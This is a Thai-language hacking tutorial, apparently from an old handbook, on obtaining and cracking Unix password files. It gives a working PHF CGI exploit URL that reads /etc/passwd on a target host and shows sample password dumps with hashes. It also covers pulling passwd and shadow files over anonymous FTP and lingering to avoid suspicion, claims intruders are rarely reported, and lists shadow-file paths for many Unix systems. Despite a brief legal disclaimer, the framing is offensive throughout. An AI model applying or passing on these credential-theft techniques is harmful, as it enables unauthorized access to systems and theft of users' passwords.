
เรื่องน่ารู้เกี่ยวกับ
Password File

ในหน้านี้คุณจะได้เรียนรู้เกี่ยวกับ
1 ภาคแนะนำ
2 เจ้าตัวเก็บความลับ
3 ใช้
PHF exploits ให้เป็นประโยชน์
4 Password ของ FTP
5 เงามรณะ
6 กุญแจไขความลับแห่งดวงดาว
7 เอาไฟล์คำศัพท์มาทำอะไร ???
8 จะทำอย่างไรเมื่อได้ Password มาแล้ว
9 โปรแกรมถอดรหัสผ่าน John the Ripper 1.4
10 โปรแกรมถอดรหัสผ่าน Cracker Jack

1 ภาคแนะนำ
Passwd files เป็นวิธีที่ง่ายที่สุด และเป็นพื้นฐานเกี่ยวกับการแฮกในบทนี้เราจะมาทำความรู้จักกับเจ้าไฟล์ที่ว่านี้ ว่ามันคืออะไร จะพบได้ที่ไหน จะถอดรหัส (crack) เอา password ออกมาได้อย่างไร ต้องการเครื่องมือใดบ้าง และจะได้อะไรต่อหลังจากได้ password มาแล้ว
แน่นอนว่าเมื่อจดทะเบียนจนได้แอคเคาท์มาแล้ว สิ่งที่ต้องการใช้ในการถอดรหัส ก็คือเจ้าไฟล์ตัวนี้ การกระทำดังกล่าวก็ถือเป็นสิ่งผิดกฎหมาย เอกสารที่คุณกำลังถืออยู่นี้ใช้เป็นเพียงแหล่งข้อมูลเท่านั้น ไม่ใช่สำหรับการกระทำที่ผิดกฎหมาย
"จำเอาไว้เสมอว่า ถ้าคุณเลือกที่จะทำผิดกฎหมายด้วยความรู้ที่ได้รับนี้ จะไม่มีใครได้รับโทษนอกจากตัวคุณเอง"
2 เจ้าตัวเก็บความลับ
passwd file คือ encrypted file ที่บรรจุข้อมูลเกี่ยวกับผู้ใช้และพาสเวิร์ดของพวกเขาเอาไว้บนเซิร์ฟเวอร์นั้นๆ พาสเวิร์ดในไฟล์จะถูกพรางหรือเข้ารหัส (encrypted) เอาไว้ ดังนั้นอย่าคิดว่าเมื่อคุณเจอมันปุ๊บ คุณก็จะได้พาสเวิร์ดมาในบัดดล มันไม่ได้ง่ายดายอย่างนั้น แต่มันมีอะไรมากกว่านั้นอีกเยอะมาก คุณลองสังเกตดูลักษณะของมัน
root:x:0:1:0000-Admin(0000):/:/bin/ksh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
listen:x:37:4:Network Admin:/usr/net/nls:nobody:x:60001: 60001:uid
nobody:/:noaccess:x:60002:60002:uid noaccess:/:
ftp:x:101:4:
FTPUser:/export/home/ftp:
rrc:uXDg04UkZgWOQ:201:4:RichardClark:/export/home/rrc
จากข้างบน สิ่งที่คุณสามารถนำไปใช้ได้มีเพียงอันเดียวคือ
rrc:uXDg04UkZgWOQ:201:4:RichardClark:/export/home/rcc
และคุณจะอ่านมันออกมาได้ว่า
Username: rcc
/ชื่อผู้ใช้
Encrypted Password: uXDg04UkZgWOQ
/พาสเวิร์ด
User number: 201
/หมายเลขผู้ใช้
Group Number: 4
/หมายเลขกลุ่ม
Real Name (usually): Richard Clark
/ชื่อจริง
Home Directory: /export/home/rrc
/ไดเรกทอรีบ้าน
Type of Shell: /bin/ksh
/ชนิดของเชลล์
สาเหตุที่ใช้ได้ก็เพราะว่ามันเป็นชื่อเดียวที่มีพาสเวิร์ดออกมาให้คุณเห็น คุณจะไม่มีทางได้พบไฟล์ที่บรรจุพาสเวิร์ดสำหรับ ftp, listen หรือ bin เลย
แต่ก็ไม่แน่เหมือนกันในบาง server ที่มีความอ่อนไหวสูง เราอาจใช้ฟังก์ชัน PHF exploit หรืออีกวิธีการที่เรียกว่า unshadowing method ด้วยทั้งสองวิธีนี้เราจะได้พาสเวิร์ดสำหรับ root ของ system
3 ใช้ PHF exploits ให้เป็นประโยชน์
ก่อนอื่นเรามาให้คำจำกัดความกันก่อนว่า exploit คืออะไร
Exploit ก็คือหลุมเล็กๆ ในซอฟต์แวร์ที่ยอมให้บางคนเล็ดลอดเข้าไปเอาบางสิ่งที่เขาต้องการออกมาได้ หรือพูดอีกอย่างหนึ่งก็คือข้อผิดพลาดที่ยังไม่ได้ถูกแก้ไขของซอฟต์แวร์นั่นเอง
PHF exploit ที่เราจะพูดถึงก็คือหลุมใน CGI (ถ้ายังไม่ทราบว่า CGI คืออะไรก็พลิกไปอ่านบทที่ 5 ก่อน) ที่เซิร์ฟเวอร์เกือบทั้งหมดได้ซ่อมเรียบร้อยแล้วในตอนนี้ (ถ้าพวกเขามี CGI) อาจพูดได้ว่า IRC ที่ได้รับความนิยมหลายๆ แห่งมีปัญหาเกี่ยวกับ CGI ของพวกเขาเกือบทั้งหมด
สิ่งที่คุณต้องใช้ก็คือ เจ้าโปรแกรมเว็บเบราเซอร์ เช่น Netscape Navigator และ Internet Explorer พิมพ์ข้อความต่อไปนี้ลงไป
http://www.target.com/cgi-bin/phf?Qalias=j00%ffcat%20/etc /passwd
แทนที่ www.target.com ด้วยสถานที่ที่คุณต้องการจะได้พาสเวิร์ดมา แต่บางทีคุณอาจได้คำตอบกลับมาว่า
"The requested object does not exist on this server. The link you followed is either outdated, inaccurate"
หรือ
" its not there. " หรือหากคุณได้รับข้อความกลับมาว่า "You have been caught on Candid Camera!"
นั่นแปลว่าพวกเขาจับคุณได้แล้ว แต่ไม่ต้องกลัวไปหรอก หายากนักที่พวกเขาจะรายงานคุณ ยังไม่เคยมีผู้พบเซิร์ฟเวอร์ที่ทำการรายงานเลย
และถ้าคุณได้ผลลัพธ์ออกมาเป็น
"root:JPfsdh1NAjIUw:0:0:Special admin sign in:/:/bin/csh
sysadm:ufcNtKNYj7m9I:0:0:
Regular Admin login:/admin:/sbin/sh
bin:*:2:2:Admin :/bin:
sys:*:3:3:Admin :/usr/src:
adm:*:4:4:Admin :/usr/adm:/sbin/sh
daemon:*:1:1: Daemon Login for daemons needing
nobody:*:65534:65534::/:
ftp:*:39:39:FTP guest login:/var/ftp:
dtodd:yYn1sav8tKzOI:101:100:John Todd:/home/dtodd:/sbin/sh
joetest:0IeSH6HfEEIs2:102:100::/home/joetest:/usr/bin/rest
sh"
นั่นแสดงว่าคุณตีแจคพ็อตแตกเข้าให้แล้ว จัดการเซฟมันเป็นเท็กซ์ไฟล์เสียให้เรียบร้อย เก็บมันเอาไว้ให้ดี เพราะคุณต้องใช้ในการศึกษาต่อไป
4 Password ของ FTP
Password file ของบางระบบถูกเก็บไว้บน FTP ซึ่งสามารถถูกจัดการได้โดยทุกๆ คน นอกเสียจากว่าระบบนั้นจะไม่ยอมให้มีผู้ใช้แบบ anonymous logins ถ้าคุณจะเริ่มก็เริ่มกับเซิร์ฟเวอร์ของคุณเองเลยดีกว่า เตรียมแอคเคาท์ที่ยินยอมให้คุณเข้าใช้บริการ FTP ของพวกเขา
สิ่งที่คุณต้องการก็คือโปรแกรมขนส่งไฟล์ หรือ FTP client ประเภท WS FTP หรือ CuteFTP หาชื่อของเซิร์ฟเวอร์และจัดการเชื่อมระบบเข้ากับคอมพิวเตอร์ของคุณ
เมื่อเข้าไปได้ คุณจะพบกับไดเรกทอรีจำนวนมาก เช่น etc, hidden, incoming
หรือ pub จงเข้าไปในไดเรกทอรีที่ชื่อว่า etc เมื่อเข้าไปได้คุณจะพบกับไฟล์จำนวนมาก เช่น group, passwd และ welcome.msg และมีโอกาสสูงถึง 8 ใน 10 ที่คุณจะพบกับไฟล์ที่ชื่อว่า shadow นั่นหมายถึงคุณกำลังพบกับพาสเวิร์ดประเภท shadowed passwd
สำหรับแฮกเกอร์ที่ฉลาดๆ พวกเขาจะไม่ออกไปทันทีหลังจากที่ได้ไฟล์ password มา แต่พวกเขาจะทำทีเป็นเตร็ดเตร่อยู่ในไดเรกทอรีอื่นๆ อยู่สักพัก เพื่อจะได้ไม่เป็นที่สงสัย
หลังจากที่ออกมาแล้ว คุณก็จะเช็ค passwd file อันใหม่ และถ้าคุณพบชื่อ "root, daemon, FTP, nobody, ftplogin, bin" โดยมีเครื่องหมายดอกจัน "*" อยู่ด้านข้าง แทนที่จะเป็นพาสเวิร์ดตามปกติ แสดงว่าคุณได้ passwd file ที่ไม่สามารถ crack ออกมาได้
และถ้าคุณพบ
"joetest:0IeSH6HfEEIs2:102:100::/home/joetest:/usr/bin/res tsh"
นั่นแสดงว่าคุณได้ถอดรหัสออกมาชื่อหนึ่งแล้ว !!
5 เงามรณะ
ตั้งชื่อเสียน่ากลัว จริงๆ แล้วมันก็คือ shadowed password นั่นเอง แฮกเกอร์หลายคนบอกว่า พาสเวิร์ดชนิดนี้เป็นชนิดที่ยากที่สุดในการ crack โดยสิ่งที่บรรจุอยู่ในเจ้าไฟล์ที่ว่านี้มันจะมีรูปร่างหน้าตาเป็นอย่างนี้
"joetest:*:102:100::/home/joetest:/usr/bin/restsh"
ซึ่งจะมีชื่อผู้ใช้และ shadowed passwd อยู่ด้านหลัง แต่ตัวพาสเวิร์ดจริงๆ จะไม่ได้อยู่ใน passwd file แต่จะถูกเก็บเอาไว้ใน shadow file
password file จะอยู่ในไดเรกทอรีที่แตกต่างกันไปในแต่ละระบบใน unix วิธีที่จะทราบว่าระบบที่คุณใช้เป็นแบบใด ก็ให้ใช้คำสั่ง
uname -a ที่ shell prompt
และมันก็จะบอกให้คุณทราบว่าเป็นระบบใด แต่ถ้าคุณไม่สามารถใช้ telnet ก็ยังมีวิธีอื่นที่พอจะทำให้ทราบได้ ตารางข้างล่างนี้จะเป็นตัวบอกว่าคุณจะพบ พาสเวิร์ดไฟล์ได้ที่ไหนในแต่ละระบบ (จาก text on passwd files by Kryto.) Token คือเครื่องหมายที่ใช้แทน shadowed password
UNIX Paths (Courtesy of 2600)
UNIX
Path
Token
-----------------------------------------------
AIX 3
/etc/security/passwd
!
or
/tcb/auth/files/<first letter
#
A/UX 3.0s
/tcb/files/auth/?/
*
BSD4.3-Reno
/etc/master.passwd
*
ConvexOS 10
/etc/shadpw
*
ConvexOS 11
/etc/shadow
*
DG/UX
/etc/tcb/aa/user/
*
EP/IX
/etc/shadow
x
HP-UX
/.secure/etc/passwd
*
IRIX 5
/etc/shadow
x
Linux 1.1
/etc/shadow
*
OSF/1
/etc/passwd[.dir|.pag]
*
SCO Unix #.2.x
/tcb/auth/files/<first letter of username> /<username> SunOS4.1+c2 /etc/security/passwd.adjunct
##username
SunOS 5.0
/etc/shadow
<optional NIS+ private/secure/maps/tables/whatever
System V Release 4.0
/etc/shadow
x
System V Release 4.2
/etc/security/*
database
Ultrix
etc/auth[.dir|.pag]
*
UNICOS
/etc/udb
*
หลังจากที่คุณได้พาสเวิร์ดไฟล์และชาโดว์ไฟล์มาแล้ว คุณก็ต้องไปหา โปรแกรมที่เรียกว่า unshadowing program มาเพื่อเชื่อมทั้งคู่เข้าด้วยกัน จนกลายเป็นพาสเวิร์ดไฟล์ธรรมดาทั่วไป คุณสามารถพบโปรแกรมนี้ได้ที่
http://www.hackersclub.com/km/files/
ปัจจุบัน servers ไม่อนุญาตให้ดาวน์โหลด shadow file กันแล้ว ดังนั้นถ้าคุณไม่มีแอคเคาท์พิเศษคุณก็ไม่สามารถดาวน์โหลด shadow file ได้
